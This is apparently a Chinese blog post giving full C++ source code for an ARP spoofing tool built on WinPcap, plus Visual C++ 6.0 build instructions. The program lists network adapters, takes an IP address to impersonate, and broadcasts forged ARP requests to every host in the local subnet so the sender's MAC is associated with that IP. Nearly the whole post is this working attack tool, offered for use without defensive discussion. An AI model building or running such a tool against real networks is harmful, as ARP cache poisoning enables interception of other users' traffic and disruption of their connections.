ARP欺騙原始碼(基於WinPcap實現)
阿新 • • 發佈:2019-01-02
//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //位元組對齊必須是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目標主機MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //乙太網型別 }; struct arp_head { unsigned short hardware_type; //硬體型別:乙太網介面型別為1 unsigned short protocol_type; //協議型別:IP協議型別為0X0800 unsigned char add_len; //硬體地址長度:MAC地址長度為6B unsigned char pro_len; //協議地址長度:IP地址長度為4B unsigned short option; //操作:ARP請求為1,ARP應答為2 unsigned char sour_addr[6]; //源MAC地址:傳送方的MAC地址 unsigned long sour_ip; //源IP地址:傳送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址:ARP請求中該欄位沒有意義;ARP響應中為接收方的MAC地址 unsigned long dest_ip; //目的IP地址:ARP請求中為請求解析的IP地址;ARP響應中為接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最終arp包結構 { ethernet_head eth; //乙太網頭部 arp_head arp; //arp資料包頭部 }; #pragma pack () /** * 獲得網絡卡的MAC地址 * pDevName 網絡卡的裝置名稱 */ unsigned char* GetSelfMac(char* pDevName); /** * 封裝ARP請求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif
//ArpCheat.cpp #include <stdio.h> #include <pcap.h> #include <conio.h> #include <packet32.h> #include <ntddndis.h> #include "ArpCheat.h" int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部網絡卡列表 pcap_if_t *d; //一個網絡卡 int inum; //使用者選擇的網絡卡序號 int i=0; //迴圈變數 pcap_t *adhandle; //一個pcap例項 char errbuf[PCAP_ERRBUF_SIZE]; //錯誤緩衝區 unsigned char *mac; //本機MAC地址 unsigned char *packet; //ARP包 unsigned long fakeIp; //要偽裝成的IP地址 pcap_addr_t *pAddr; //網絡卡地址 unsigned long ip; //IP地址 unsigned long netmask; //子網掩碼 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //從引數列表獲得要偽裝的IP地址 fakeIp = inet_addr(argv[1]); if(INADDR_NONE==fakeIp){ fprintf(stderr,"Invalid IP: %s\n",argv[1]); return -1; } /* 獲得本機網絡卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 列印網絡卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s\n", d->description); else printf(". No description available\n"); } //如果沒有發現網絡卡 if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } //請使用者選擇一個網絡卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果使用者選擇的網絡卡序號超出有效範圍,則退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* 移動指標到使用者選擇的網絡卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" printf("傳送ARP欺騙包,本機(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 試圖偽裝成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 開啟網絡卡 */ if ( (adhandle= pcap_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到使用者選擇的網絡卡的一個IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到該IP地址對應的子網掩碼 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } //看看這個IP和要偽裝的IP是否在同一個子網 if((ip&netmask)!=(fakeIp&netmask)){ continue; //如果不在一個子網,繼續遍歷地址列表 } unsigned long netsize = ntohl(~netmask); //網路中主機數 unsigned long net = ip & netmask; //子網地址 for(unsigned long n=1; n<netsize; n++){ //第i臺主機的IP地址,網路位元組順序 unsigned long destIp = net | htonl(n); //構建假的ARP請求包,達到本機偽裝成給定的IP地址的目的 packet = BuildArpPacket(mac,fakeIp,destIp); if(pcap_sendpacket(adhandle, packet, 60)==-1){ fprintf(stderr,"pcap_sendpacket error.\n"); } } } return 0; } /** * 獲得網絡卡的MAC地址 * pDevName 網絡卡的裝置名稱 */ unsigned char* GetSelfMac(char* pDevName){ static u_char mac[6]; memset(mac,0,sizeof(mac)); LPADAPTER lpAdapter = PacketOpenAdapter(pDevName); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封裝ARP請求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) { static struct arp_packet packet; //目的MAC地址為廣播地址,FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上層協議為ARP協議,0x0806 packet.eth.eh_type = htons(0x0806); //硬體型別,Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上層協議型別,IP為0x0800 packet.arp.protocol_type = htons(0x0800); //硬體地址長度:MAC地址長度為0x06 packet.arp.add_len = 0x06; //協議地址長度:IP地址長度為0x04 packet.arp.pro_len = 0x04; //操作:ARP請求為1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; //目的MAC地址,填充0 memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充資料,18B memset(packet.arp.padding,0,18); return (unsigned char*)&packet; }
VC++ 6.0 中使用WinPcap
下載並安裝WinPcap,安裝之後在目錄”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。
增加WinPcap的include和lib路徑:
Tools→Options→Directories,其中include檔案的路徑增加WinPcap的include路徑(其中有pcap.h等標頭檔案),library檔案的路徑增加WinPcap的lib路徑(其中有Packet.lib和wpcap.lib)。
增加專案的靜態連結庫:
Project→Settings→Link→Object/library Modules,在文字框的末尾新增”wpcap.lib packet.lib ws2_32.lib“。
增加預編譯資訊:
Project→Settings→C/C++→Preprocessor definitions,在文字框的末尾新增”WPCAP,HAVE_REMOTE“。